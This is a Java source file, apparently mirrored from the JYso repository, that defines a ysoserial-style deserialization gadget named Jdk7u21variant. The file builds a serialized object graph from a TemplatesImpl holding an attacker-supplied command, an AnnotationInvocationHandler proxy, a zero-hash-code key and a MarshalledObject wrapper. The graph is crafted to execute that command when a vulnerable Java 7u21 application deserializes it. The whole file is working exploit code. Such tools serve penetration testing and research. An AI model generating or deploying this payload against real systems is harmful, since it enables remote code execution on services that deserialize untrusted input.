mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-23 07:11:52 +08:00
50 lines
1.7 KiB
Java
50 lines
1.7 KiB
Java
package com.qi4l.JYso.gadgets;
|
|
|
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
|
|
|
import javax.xml.transform.Templates;
|
|
import java.lang.reflect.InvocationHandler;
|
|
import java.rmi.MarshalledObject;
|
|
import java.util.HashMap;
|
|
import java.util.LinkedHashSet;
|
|
|
|
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
|
|
|
|
|
|
@Authors({"potats0"})
|
|
public class Jdk7u21variant implements ObjectPayload<Object> {
|
|
|
|
public Object getObject(String command) throws Exception {
|
|
final Object templates;
|
|
templates = Gadgets.createTemplatesImpl(command);
|
|
String zeroHashCodeStr = "f5a5a608";
|
|
|
|
HashMap map = new HashMap();
|
|
map.put(zeroHashCodeStr, "foo");
|
|
|
|
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
|
Reflections.setFieldValue(tempHandler, "type", Templates.class);
|
|
Templates proxy = createProxy(tempHandler, Templates.class);
|
|
|
|
LinkedHashSet set = new LinkedHashSet();
|
|
set.add(templates);
|
|
set.add(proxy);
|
|
|
|
Reflections.setFieldValue(templates, "_auxClasses", null);
|
|
Reflections.setFieldValue(templates, "_class", null);
|
|
|
|
map.put(zeroHashCodeStr, templates);
|
|
|
|
MarshalledObject marshalledObject = new MarshalledObject(set);
|
|
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
|
|
|
|
set = new LinkedHashSet(); // maintain order
|
|
set.add(marshalledObject);
|
|
set.add(proxy);
|
|
map.put(zeroHashCodeStr, marshalledObject); // swap in real object
|
|
return set;
|
|
}
|
|
}
|